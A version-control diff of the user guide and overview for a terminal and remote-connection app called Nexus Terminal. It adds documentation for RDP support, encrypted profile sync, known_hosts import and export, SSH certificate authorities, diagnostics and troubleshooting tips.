whole scrollback as a text file), \ui{Clear} and \ui{Reset}.
\section{Shell integration}
If your shell marks its prompts (fish 4, Starship and Powerlevel10k do already), Nexus Terminal knows where every
command starts and stops. \keys{\mod+Shift+Up} and \keys{\mod+Shift+Down} jump from prompt to prompt,
\ui{Copy Last Command Output} grabs just what the last command printed, and a thin bar beside each prompt shows how it
went: green for success, red for failure. Hover the bar for the exit code and how long it took.
\shot{shell-integration.png}{\code{make test} failed (red bar), \code{ls} worked (green bar).}
For bash, add this to \code{\textasciitilde/.bashrc} on the machine the shell runs on (the user manual has the zsh
version):
\begin{verbatim}
PS0='\[\e]133;C\a\]'
PROMPT_COMMAND='printf "\033]133;D;%s\007" "$?"; '"${PROMPT_COMMAND}"
PS1='\[\e]133;A\a\]'"$PS1"'\[\e]133;B\a\]'
\end{verbatim}
\section{Pictures in the terminal}
Programs that print images the iTerm2 way (\code{imgcat}, \code{wezterm imgcat}, \code{chafa -f iterm}) show PNG,
JPEG and GIF images right in the scrollback. They scroll with the text and never spill past the edge.
\shot{inline-image.png}{An image printed by a script, with the text carrying on underneath.}
\section{Find} \section{Find}
@@ -168,7 +197,8 @@ Click the \iFolder{} on an SSH tab. Or drop a file onto the terminal and choose
\section{The SFTP browser} \section{The SFTP browser}
Click the \iFolder{} folder icon on an SSH tab, \menu{Session\then SFTP browser}, or type ``sftp'' in the palette. Click the \iFolder{} folder icon on an SSH tab, \menu{Session\then SFTP browser}, or type ``sftp'' in the palette.
It opens in the side dock next to your terminal. It opens in the side dock next to your terminal, in the folder your shell is in if the shell reports it
(fish does; bash and zsh need a one-line hook, see the user manual).
\shot{sftp.png}{Browsing the server's files next to the terminal.} \shot{sftp.png}{Browsing the server's files next to the terminal.}
+25 -9
View File
@@ -72,6 +72,12 @@ Every password, passphrase, token or TOTP secret has its own setting:
When Nexus Terminal needs a secret it doesn't have, it asks. Press \kbd{Esc} or \ui{Cancel} to give up on that When Nexus Terminal needs a secret it doesn't have, it asks. Press \kbd{Esc} or \ui{Cancel} to give up on that
connection. connection.
\section{Seeing and changing what's saved}
\ui{Stored credentials} on the Security page lists every saved password, passphrase and token by profile, and whether
it's in the keychain or the vault. \ui{Forget} deletes one. \ui{Change Master Password…} re-encrypts the whole vault
under a new password in one go.
\begin{sidequest}[What gets written down?] \begin{sidequest}[What gets written down?]
Connections, disconnections, profile changes, credential access, imports and exports go into an audit log in the Connections, disconnections, profile changes, credential access, imports and exports go into an audit log in the
database. Secrets themselves never do. TOTP secrets live in the keychain or vault too, never in the profile. database. Secrets themselves never do. TOTP secrets live in the keychain or vault too, never in the profile.
@@ -82,7 +88,7 @@ database. Secrets themselves never do. TOTP secrets live in the keychain or vaul
\chapmeta{3 minutes}{You'll understand the scary fingerprint dialog and what to do about it} \chapmeta{3 minutes}{You'll understand the scary fingerprint dialog and what to do about it}
\begin{tldr} \begin{tldr}
Every SSH server has a fingerprint. Nexus Terminal remembers it the first time and shouts if it ever changes. Every SSH server (and every RDP server, via its certificate) has a fingerprint. Nexus Terminal remembers it the first time and shouts if it ever changes.
A changed fingerprint means a reinstalled server, or someone in the middle. Find out which before carrying on. A changed fingerprint means a reinstalled server, or someone in the middle. Find out which before carrying on.
\end{tldr} \end{tldr}
@@ -92,20 +98,30 @@ Pick a policy per SSH profile under \ui{Host Verification}:
\begin{tabularx}{\linewidth}{@{}>{\leavevmode\heavy\color{ink}}p{48mm}X@{}} \begin{tabularx}{\linewidth}{@{}>{\leavevmode\heavy\color{ink}}p{48mm}X@{}}
\toprule \toprule
Strict (known hosts only) & Only connects to servers you've already trusted.\\ Strict (known hosts only) & Only connects to servers you've already trusted.\\
Ask on new or changed keys & Shows the fingerprint and asks. \ui{Accept \& Save} or \ui{Reject}. The default.\\ Ask on new or changed keys & Shows the fingerprint and asks. New: \ui{Accept \& Save} or \ui{Reject}. Changed:
\ui{Reject}, \ui{Accept Once} or \ui{Accept \& Update}. The default.\\
Accept new, reject changed & Trusts first-time servers silently, still refuses changed keys.\\ Accept new, reject changed & Trusts first-time servers silently, still refuses changed keys.\\
Insecure (accept anything) & Exactly what it says. Lab use only.\\ Insecure (accept anything) & Exactly what it says. Lab use only.\\
\bottomrule \bottomrule
\end{tabularx} \end{tabularx}
Under every policy except \emph{Insecure}, a key that differs from the saved one is rejected. Under \emph{Strict} and \emph{Accept new}, a key that differs from the saved one is rejected outright.
\crop{settings-knownhosts.png}{581}{253}{576}{285}{0.8\linewidth}{Known hosts. Click a fingerprint to copy it; \ui{Remove} to forget a server.} \crop{settings-knownhosts.png}{581}{253}{576}{285}{0.8\linewidth}{Known hosts. Click a fingerprint to copy it; \ui{Remove} to forget a server.}
\begin{headsup} \begin{quickwin}
Nexus Terminal keeps its own list of known hosts. It doesn't read \code{\textasciitilde/.ssh/known\_hosts}, so the Nexus Terminal keeps its own list, but \ui{Import \textasciitilde/.ssh/known\_hosts} brings in everything your
first connection to each server asks once, even if your command-line \code{ssh} already knows it. command-line \code{ssh} already trusts (hashed names can't be read back, so those are skipped). \ui{Export…} goes the
\end{headsup} other way, in OpenSSH format.
\end{quickwin}
\section{Certificate authorities}
Big estates sign host keys with an SSH certificate authority instead of handing out fingerprints. \ui{Trust a CA…}
adds the CA's public key for a host pattern in OpenSSH style (\code{*.corp.example}, \code{[jump.example]:2222},
\code{!old.corp.example}); \code{@cert-authority} lines in an imported \code{known\_hosts} do the same. A server the CA
covers must then show a certificate the CA signed, naming that host and in date. It's trusted without a prompt, and
anything else is refused.
% ========================================================================================= % =========================================================================================
\chapter{SSH keys}\label{ch:keys} \chapter{SSH keys}\label{ch:keys}
@@ -118,6 +134,6 @@ public key to the clipboard (ready to paste into GitHub or \code{authorized\_key
\crop{keys.png}{725}{523}{725}{546}{0.75\linewidth}{The SSH key manager.} \crop{keys.png}{725}{523}{725}{546}{0.75\linewidth}{The SSH key manager.}
\begin{protip} \begin{protip}
Not sure which type? Pick Ed25519. It's small, fast and secure. Key generation uses your system's Not sure which type? Pick Ed25519. It's small, fast and secure. Keys are generated inside Nexus Terminal and
\code{ssh-keygen}, which comes with macOS, Linux and Windows 10 and later. saved in the usual OpenSSH format, so \code{ssh} and \code{git} can use them too.
\end{protip} \end{protip}
+42 -26
View File
@@ -1,5 +1,5 @@
\guidepart{pink}{Make it yours}{Make it yours} \guidepart{pink}{Make it yours}{Make it yours}
{Settings, backups, and moving in from Alchementary Link.} {Settings, backups, and keeping several computers in step.}
{\partitem{\iGear}{Settings} {\partitem{\iGear}{Settings}
\partitem{\iUpload}{Import and export} \partitem{\iUpload}{Import and export}
\partitem{\iPlane}{Moving house}} \partitem{\iPlane}{Moving house}}
@@ -14,18 +14,24 @@ then click \ui{Save}.
\begin{center}\begin{minipage}[t]{0.49\linewidth}\crop{settings-general.png}{581}{253}{576}{285}{\linewidth}{General}\end{minipage}\hfill\begin{minipage}[t]{0.49\linewidth}\crop{settings-terminal.png}{581}{253}{576}{285}{\linewidth}{Terminal}\end{minipage}\end{center} \begin{center}\begin{minipage}[t]{0.49\linewidth}\crop{settings-general.png}{581}{253}{576}{285}{\linewidth}{General}\end{minipage}\hfill\begin{minipage}[t]{0.49\linewidth}\crop{settings-terminal.png}{581}{253}{576}{285}{\linewidth}{Terminal}\end{minipage}\end{center}
\begin{description} \begin{description}
\item[General] App theme (Pro, Midnight, Light), default protocol for new profiles, whether to ask before closing or \item[General] App theme (Pro, Midnight, Light), default protocol for new profiles, \ui{Restore tabs at launch}
disconnecting, status bar on or off, sidebar width, and the local shell (leave it empty for the system default, (saved connections reconnect, local shells reopen in the folder they were in), whether to ask before closing or
or \ui{Browse…} for one). disconnecting, whether remote programs may write to your clipboard, a confirmation before pasting several lines,
the update check, status bar, sidebar width, and the local shell (empty for the system default, or
\ui{Browse…}).
\item[Terminal] Colour scheme, font, size, scrollback and cursor style. These are the defaults for new profiles; \item[Terminal] Colour scheme, font, size, scrollback and cursor style. These are the defaults for new profiles;
each profile can override them. each profile can override them.
\item[Security] Keychain and vault status; set up, unlock or lock the vault. \item[Security] Keychain and vault status; set up, unlock or lock the vault; change the master password; your
\item[Known Hosts] Saved server fingerprints, with first-seen and last-seen times. stored credentials; profile sync.
\item[Known Hosts] Saved server fingerprints, with first-seen and last-seen times; import and export
\code{known\_hosts}; trusted SSH certificate authorities.
\item[Diagnostics] Version, platform, where your data and log live, and the state of the keychain, vault and sync.
\ui{Copy Diagnostics} for bug reports (never includes credentials).
\item[Help] Built-in help: connection types, shortcuts and troubleshooting, when this guide isn't to hand. \item[Help] Built-in help: connection types, shortcuts and troubleshooting, when this guide isn't to hand.
\item[About] Version, \ui{Check for Updates} and \ui{Import \textasciitilde/.ssh/config}. \item[About] Version, \ui{Check for Updates} and \ui{Import \textasciitilde/.ssh/config}.
\end{description} \end{description}
\crop{settings-help.png}{581}{253}{576}{285}{0.8\linewidth}{The built-in help, for when this guide isn't to hand.} \crop{settings-diagnostics.png}{604}{600}{604}{20}{0.8\linewidth}{Diagnostics: everything a bug report needs, nothing secret.}
\section{Updates} \section{Updates}
@@ -44,48 +50,57 @@ reads it back. Already have an \code{\textasciitilde/.ssh/config}? Import that t
\begin{description} \begin{description}
\item[Encrypted export] Choose the profiles, set a password, save a \code{.nexus} file. Saved passwords aren't \item[Encrypted export] Choose the profiles, set a password, save a \code{.nexus} file. Saved passwords aren't
included, so the file is safe to email to yourself. included, so the file is safe to email to yourself.
\item[Encrypted import] Pick a \code{.nexus} (or an old \code{.link}) file, enter its password and decide what happens to \item[Encrypted import] Pick a \code{.nexus} file, enter its password and decide what happens to
profiles that already exist: \ui{Skip existing}, \ui{Overwrite existing} or \ui{Create duplicates}. profiles that already exist: \ui{Skip existing}, \ui{Overwrite existing} or \ui{Create duplicates}.
\item[JSON] \ui{Export Profiles (JSON)} and \ui{Import Profiles (JSON)} are in the palette. Tick \item[JSON] \ui{Export Profiles (JSON)} and \ui{Import Profiles (JSON)} are in the palette. Tick
\ui{Include secrets} to keep proxy passwords and TOTP secrets, which are otherwise left out. \ui{Include secrets} to keep passwords typed by login scripts, which are otherwise blanked. Proxy passwords and
TOTP secrets live in the keychain or vault, so no export carries them.
\item[OpenSSH config] \menu{File\then Import \textasciitilde/.ssh/config} turns your \code{Host} blocks into profiles, \item[OpenSSH config] \menu{File\then Import \textasciitilde/.ssh/config} turns your \code{Host} blocks into profiles,
with host names, users, ports, identity files and jump hosts. with host names, users, ports, identity files and jump hosts.
\end{description} \end{description}
\crop{export.png}{894}{357}{872}{380}{0.55\linewidth}{Exporting profiles. Everything's ticked to start with; untick what you don't want.} \crop{export.png}{906}{388}{904}{390}{0.55\linewidth}{Exporting profiles. Everything's ticked to start with; untick what you don't want.}
\begin{danger}[JSON with secrets is not encrypted] \begin{danger}[JSON with secrets is not encrypted]
A JSON export with \ui{Include secrets} ticked has those secrets in plain text. Use the encrypted \code{.nexus} export to A JSON export with \ui{Include secrets} ticked has those login-script passwords in plain text. Use the encrypted \code{.nexus} export to
move things between machines. move things between machines.
\end{danger} \end{danger}
% ========================================================================================= % =========================================================================================
\chapter{Moving house}\label{ch:move} \chapter{Moving house}\label{ch:move}
\chapmeta{2 minutes}{You'll know what came over from Alchementary Link and what didn't} \chapmeta{3 minutes}{Your connections will follow you from laptop to desktop to work machine}
\begin{tldr} \begin{tldr}
It's automatic. First run copies your Alchementary Link profiles, vault and recordings. Your old folder is left Pick a folder every machine can see, set the same sync password on each, done. Profiles stay in step; passwords
alone. Recreate trigger rules and SFTP bookmarks by hand. stay put on each machine.
\end{tldr} \end{tldr}
When Nexus Terminal starts for the first time and finds an \code{AlchementaryLink} folder next to where its own data \section{Profile sync}
goes, it \emph{copies} \code{link.db} to \code{nexus.db}, along with the \code{vault/} and \code{recordings/} folders,
and shows a toast saying where they came from. \menu{Settings\then Security\then Profile sync}. \ui{Choose…} a folder your machines share (Dropbox, iCloud Drive,
OneDrive, Nextcloud, a network share, or a git checkout you commit) and set the same \ui{Sync password} everywhere.
Nexus Terminal keeps one encrypted file there, \code{nexus-profiles.nexus}, and merges it at launch, a few seconds
after you change a profile, every ten minutes and whenever you click \ui{Sync Now}.
\begin{checklist} \begin{checklist}
\item[\color{green}\iCheck] Profiles, groups, favourites, known hosts, snippets and preferences \item[\color{green}\iCheck] Edited on two machines? The newer change wins, profile by profile.
\item[\color{green}\iCheck] Vault (same master password as before) \item[\color{green}\iCheck] Deleted on one machine? It goes from the others too (unless someone edited it afterwards).
\item[\color{green}\iCheck] Recordings \item[\color{rose}\ph{E4F6}] Passwords, keys and tokens never sync. Each machine keeps its own in its keychain or vault.
\item[\color{green}\iCheck] Keychain passwords: picked up the first time each one is needed, then copied across
\item[\color{green}\iCheck] Old \code{.link} export files still import
\item[\color{rose}\ph{E4F6}] Trigger rules and SFTP bookmarks (they lived in the old app's web storage)
\end{checklist} \end{checklist}
\crop{settings-security.png}{581}{253}{576}{285}{0.8\linewidth}{Profile sync lives on the Security page, under your stored credentials.}
\begin{headsup} \begin{headsup}
If a \code{NexusTerminal/nexus.db} already exists (say, from before the Alchementary Link rebrand), it's used as it is Lose the sync password and the sync file can't be read, just like an encrypted export. Your local profiles are
and nothing is copied. fine.
\end{headsup} \end{headsup}
\section{One-off moves}
Not worth setting up sync? \menu{File\then Export profiles…} on the old machine, \menu{File\then Import profiles…}
on the new one (see \hyperref[ch:transfer]{Import and export}). Known hosts travel the same way through
\ui{Export…} and \ui{Import} on the Known Hosts page.
\section{Where everything lives} \section{Where everything lives}
\renewcommand\arraystretch{1.45} \renewcommand\arraystretch{1.45}
@@ -98,7 +113,8 @@ and nothing is copied.
\end{tabularx} \end{tabularx}
Inside: \code{nexus.db} (profiles, known hosts, preferences, snippets, IRC state and the audit log), Inside: \code{nexus.db} (profiles, known hosts, preferences, snippets, IRC state and the audit log),
\code{vault/vault.json}, \code{recordings/}, \code{triggers.json} and \code{sftp-bookmarks.json}. Keychain entries are \code{vault/vault.json}, \code{recordings/}, \code{triggers.json}, \code{sftp-bookmarks.json} and \code{nexus.log}, the
diagnostic log. Keychain entries are
stored under the service name \code{NexusTerminal}. stored under the service name \code{NexusTerminal}.
\begin{protip}[Try things without touching your real data] \begin{protip}[Try things without touching your real data]
+19 -1
View File
@@ -25,7 +25,8 @@ password, or the baud rate.
\fix{``Host key verification failed''}{% \fix{``Host key verification failed''}{%
The server's fingerprint changed since you last connected. That happens when a server is rebuilt, but it's also exactly The server's fingerprint changed since you last connected. That happens when a server is rebuilt, but it's also exactly
what an attack looks like. \textbf{Check with whoever runs the server.} If it's legitimate: what an attack looks like. \textbf{Check with whoever runs the server.} If it's legitimate:
\menu{Settings\then Known Hosts}, \ui{Remove} the entry, reconnect and accept the new key.} choose \ui{Accept \& Update} in the warning (or \ui{Accept Once} to defer the decision). Under a Strict or Accept-new
policy there's no prompt: \menu{Settings\then Known Hosts}, \ui{Remove} the entry and reconnect.}
\fix{It just says ``Connecting…'' forever}{% \fix{It just says ``Connecting…'' forever}{%
\begin{itemize} \begin{itemize}
@@ -61,6 +62,15 @@ Check the network and the credentials, then the profile's auto-reconnect setting
\item Connecting to a Mac? Turn on password access in macOS Screen Sharing settings (see p.\,\pageref{ch:vnc}). \item Connecting to a Mac? Turn on password access in macOS Screen Sharing settings (see p.\,\pageref{ch:vnc}).
\end{itemize}} \end{itemize}}
\fix{RDP won't connect}{%
\begin{itemize}
\item Linux box running xrdp? Tick \ui{Allow servers without NLA}.
\item ``Logon failed''? Check the domain. Kerberos users: the KDC must be reachable directly, not through the proxy.
\item Certificate warning after a server rebuild? That's expected once; compare the fingerprint, then
\ui{Accept \& Update}.
\item Going through an RD Gateway? It needs a certificate from a public CA and Basic authentication over HTTPS.
\end{itemize}}
\section{Files} \section{Files}
\fix{Upload is greyed out or fails}{% \fix{Upload is greyed out or fails}{%
@@ -86,3 +96,11 @@ normally.}
Start Nexus Terminal with \code{--data-dir} pointing at an empty folder and try the same connection there. If it Start Nexus Terminal with \code{--data-dir} pointing at an empty folder and try the same connection there. If it
works, something in your profile is off; duplicate the working one and compare. works, something in your profile is off; duplicate the working one and compare.
\end{quickwin} \end{quickwin}
\section{Still stuck?}
\fix{Something odd that isn't on this list}{%
Look at \code{nexus.log} in your data folder (\menu{Settings\then Diagnostics} shows where): connections, reconnects,
host-key checks and errors, never passwords or what's on screen. Start Nexus Terminal with \code{RUST\_LOG=debug} for
more detail. Reporting a bug? \ui{Copy Diagnostics} and paste it in.}
Binary file not shown.

Before

Width:  |  Height:  |  Size: 122 KiB

After

Width:  |  Height:  |  Size: 120 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 129 KiB

After

Width:  |  Height:  |  Size: 127 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 124 KiB

After

Width:  |  Height:  |  Size: 129 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 138 KiB

After

Width:  |  Height:  |  Size: 138 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 125 KiB

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 134 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 125 KiB

After

Width:  |  Height:  |  Size: 125 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 135 KiB

After

Width:  |  Height:  |  Size: 135 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 123 KiB

After

Width:  |  Height:  |  Size: 124 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 128 KiB

After

Width:  |  Height:  |  Size: 128 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 91 KiB

After

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 122 KiB

After

Width:  |  Height:  |  Size: 124 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 93 KiB

After

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 138 KiB

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 85 KiB

After

Width:  |  Height:  |  Size: 87 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 99 KiB

After

Width:  |  Height:  |  Size: 101 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 97 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 153 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 102 KiB

After

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 118 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 95 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 134 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 128 KiB

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 123 KiB

After

Width:  |  Height:  |  Size: 120 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 117 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 86 KiB

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 177 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 285 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.
+1 -1
View File
@@ -194,7 +194,7 @@
before skip=6pt, after skip=12pt, fontupper=\small, before skip=6pt, after skip=12pt, fontupper=\small,
overlay={\node[anchor=north east, font=\heavy\tiny, text=#1!80!black, inner sep=8pt] at (frame.north east) {AT A GLANCE};}] overlay={\node[anchor=north east, font=\heavy\tiny, text=#1!80!black, inner sep=8pt] at (frame.north east) {AT A GLANCE};}]
{\heavy\Large\color{#1!85!black}#2}\par\vspace{4pt} {\heavy\Large\color{#1!85!black}#2}\par\vspace{4pt}
\renewcommand\arraystretch{1.35}\begin{tabular}{@{}>{\leavevmode\color{muted}}p{0.24\linewidth}p{0.72\linewidth}@{}}} \renewcommand\arraystretch{1.35}\begin{tabular}{@{}>{\leavevmode\color{muted}}p{0.24\linewidth}>{\leavevmode}p{0.72\linewidth}@{}}}
{\end{tabular}\end{tcolorbox}} {\end{tabular}\end{tcolorbox}}
% --- Headings -------------------------------------------------------------------------- % --- Headings --------------------------------------------------------------------------
+4 -4
View File
@@ -3,7 +3,7 @@
\usepackage{nexus-guide} \usepackage{nexus-guide}
\hypersetup{pdftitle={Nexus Terminal: The User Guide}, pdfauthor={Andy Dixon}, \hypersetup{pdftitle={Nexus Terminal: The User Guide}, pdfauthor={Andy Dixon},
pdfsubject={SSH, Telnet, RAW, Serial, VNC, IRC and GitHub in one native app}} pdfsubject={SSH, Telnet, RAW, Serial, VNC, RDP, IRC and GitHub in one native app}}
\begin{document} \begin{document}
\frontmatter \frontmatter
@@ -29,13 +29,13 @@
{Every terminal you need. One window.\\Zero faff.}; {Every terminal you need. One window.\\Zero faff.};
\node[anchor=north west, text=white!65!ink, font=\normalsize, text width=150mm] \node[anchor=north west, text=white!65!ink, font=\normalsize, text width=150mm]
at ([xshift=22mm, yshift=-110mm]pg.north west) at ([xshift=22mm, yshift=-110mm]pg.north west)
{SSH\enspace·\enspace Telnet\enspace·\enspace RAW TCP\enspace·\enspace Serial\enspace·\enspace VNC\enspace·\enspace IRC\enspace·\enspace GitHub\enspace·\enspace Local shells}; {SSH\enspace·\enspace Telnet\enspace·\enspace RAW TCP\enspace·\enspace Serial\enspace·\enspace VNC\enspace·\enspace RDP\enspace·\enspace IRC\enspace·\enspace GitHub\enspace·\enspace Local shells};
\node[anchor=south west, inner sep=0pt] at ([xshift=22mm, yshift=22mm]pg.south west) \node[anchor=south west, inner sep=0pt] at ([xshift=22mm, yshift=22mm]pg.south west)
{\begin{tikzpicture} {\begin{tikzpicture}
\node[inner sep=0pt, draw=white!25!ink, line width=0.6pt, rounded corners=4pt] {\includegraphics[width=166mm]{img/ssh.png}}; \node[inner sep=0pt, draw=white!25!ink, line width=0.6pt, rounded corners=4pt] {\includegraphics[width=166mm]{img/ssh.png}};
\end{tikzpicture}}; \end{tikzpicture}};
\node[anchor=south east, text=white!55!ink, font=\footnotesize, align=right] \node[anchor=south east, text=white!55!ink, font=\footnotesize, align=right]
at ([xshift=-22mm, yshift=24mm]pg.south east) {Version 0.1\\October 2026\\dixon.cx}; at ([xshift=-22mm, yshift=24mm]pg.south east) {Version 3.0.1\\October 2026\\dixon.cx};
}\null }\null
\cleardoublepage \cleardoublepage
@@ -61,7 +61,7 @@ what you'll be able to do afterwards, and a \textbf{TL;DR} if you only want the
…copy files to and from a server & \hyperref[ch:files]{Files}, p.\,\pageref{ch:files}\\ …copy files to and from a server & \hyperref[ch:files]{Files}, p.\,\pageref{ch:files}\\
…type the same thing into ten servers at once & \hyperref[ch:repeat]{Never type it twice}, p.\,\pageref{ch:repeat}\\ …type the same thing into ten servers at once & \hyperref[ch:repeat]{Never type it twice}, p.\,\pageref{ch:repeat}\\
…keep my passwords safe & \hyperref[ch:secrets]{Passwords \& the vault}, p.\,\pageref{ch:secrets}\\ …keep my passwords safe & \hyperref[ch:secrets]{Passwords \& the vault}, p.\,\pageref{ch:secrets}\\
…move over from Alchementary Link & \hyperref[ch:move]{Moving house}, p.\,\pageref{ch:move}\\ …keep two computers in step & \hyperref[ch:move]{Moving house}, p.\,\pageref{ch:move}\\
…fix something that's broken & \hyperref[part:fix]{When things go wrong}, p.\,\pageref{ch:trouble}\\ …fix something that's broken & \hyperref[part:fix]{When things go wrong}, p.\,\pageref{ch:trouble}\\
…just see the keyboard shortcuts & \hyperref[app:keys]{The cheat sheet}, p.\,\pageref{app:keys}\\ …just see the keyboard shortcuts & \hyperref[app:keys]{The cheat sheet}, p.\,\pageref{app:keys}\\
\bottomrule \bottomrule
+2 -1
View File
@@ -90,9 +90,10 @@ shot editor-serial --open editor:serial
shot editor-telnet --open editor:telnet shot editor-telnet --open editor:telnet
shot editor-raw --open editor:raw shot editor-raw --open editor:raw
shot editor-vnc --open editor:vnc shot editor-vnc --open editor:vnc
shot editor-rdp --open editor:rdp
shot editor-irc --open editor:irc shot editor-irc --open editor:irc
shot editor-github --open editor:github shot editor-github --open editor:github
for t in general terminal security knownhosts help about; do shot "settings-$t" --open "settings:$t"; done for t in general terminal security knownhosts diagnostics help about; do shot "settings-$t" --open "settings:$t"; done
shot keys --open keys shot keys --open keys
shot snippets --open snippets shot snippets --open snippets
shot triggers --open triggers shot triggers --open triggers
+25 -7
View File
@@ -1,6 +1,6 @@
# Nexus Terminal Overview # Nexus Terminal Overview
Nexus Terminal is a native desktop connection workspace for people who manage servers, network services, serial devices, remote desktops, chat networks and repositories every day. It brings SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local shell sessions into one focused app with secure credential handling, multi-session organisation, file transfer, automation and recording built in. Nexus Terminal is a native desktop connection workspace for people who manage servers, network services, serial devices, remote desktops, chat networks and repositories every day. It brings SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shell sessions into one focused app with secure credential handling, multi-session organisation, file transfer, automation and recording built in.
It is a single Rust application drawn with egui: there is no webview, no bundled browser engine and no runtime to install. Terminal output goes straight from the network into the terminal emulator, so large outputs stay responsive. It is a single Rust application drawn with egui: there is no webview, no bundled browser engine and no runtime to install. Terminal output goes straight from the network into the terminal emulator, so large outputs stay responsive.
@@ -25,7 +25,7 @@ Use Nexus Terminal when you need to:
- **Telnet** for legacy devices and services. - **Telnet** for legacy devices and services.
- **RAW TCP** for direct socket interaction, protocol testing and device troubleshooting. - **RAW TCP** for direct socket interaction, protocol testing and device troubleshooting.
- **Serial** for USB-serial adapters, console cables, development boards and network gear. - **Serial** for USB-serial adapters, console cables, development boards and network gear.
- **VNC** for remote desktop access, with a native viewer. - **VNC** and **RDP** for remote desktop access, with native viewers.
- **IRC** for chat networks, with rooms, users and an optional SSH tunnel. - **IRC** for chat networks, with rooms, users and an optional SSH tunnel.
- **GitHub** for repository browsing and download workflows. - **GitHub** for repository browsing and download workflows.
- **Local terminal** for opening a shell on the local machine. - **Local terminal** for opening a shell on the local machine.
@@ -41,7 +41,8 @@ Use Nexus Terminal when you need to:
- Multi-select profiles with Ctrl/Cmd-click for bulk connect, disconnect, tagging, moving between groups and deleting. - Multi-select profiles with Ctrl/Cmd-click for bulk connect, disconnect, tagging, moving between groups and deleting.
- Test basic host and port reachability before connecting. - Test basic host and port reachability before connecting.
- Import existing OpenSSH config entries from `~/.ssh/config`, including hostnames, usernames, ports, identity files and jump hosts. - Import existing OpenSSH config entries from `~/.ssh/config`, including hostnames, usernames, ports, identity files and jump hosts.
- Export and import profiles using encrypted `.nexus` bundles; older `.link` bundles from Alchementary Link import too. - Sync profiles between machines through any shared folder, as one encrypted file (newest change wins; deletions propagate; credentials stay local).
- Export and import profiles using encrypted `.nexus` bundles.
- Plain JSON export and import, with secrets redacted unless you choose to include them. - Plain JSON export and import, with secrets redacted unless you choose to include them.
- Choose import behaviour for duplicates: skip, overwrite or duplicate. - Choose import behaviour for duplicates: skip, overwrite or duplicate.
@@ -69,14 +70,20 @@ Use Nexus Terminal when you need to:
- Find in terminal output, with case-sensitive and regular-expression options and a match counter. - Find in terminal output, with case-sensitive and regular-expression options and a match counter.
- Copy with Ctrl/Cmd+C when text is selected (otherwise it sends an interrupt), paste with Ctrl/Cmd+V. - Copy with Ctrl/Cmd+C when text is selected (otherwise it sends an interrupt), paste with Ctrl/Cmd+V.
- Double-click selects a word, triple-click selects a line, Shift-click extends a selection. - Double-click selects a word, triple-click selects a line, Shift-click extends a selection.
- Ctrl/Cmd-click a web link to open it in your browser. - Ctrl/Cmd-click a web link to open it in your browser, including OSC 8 hyperlinks (from `ls --hyperlink`, `git`, compilers…), which are underlined with a dotted line and show their real target on hover. Only http(s) links open.
- Shift+PageUp/PageDown/Home/End and the mouse wheel scroll the scrollback; on the alternate screen the wheel sends arrow keys, so `tmux`, `screen` and `byobu` scroll naturally. - Shift+PageUp/PageDown/Home/End and the mouse wheel scroll the scrollback; on the alternate screen the wheel sends arrow keys, so `tmux`, `screen` and `byobu` scroll naturally.
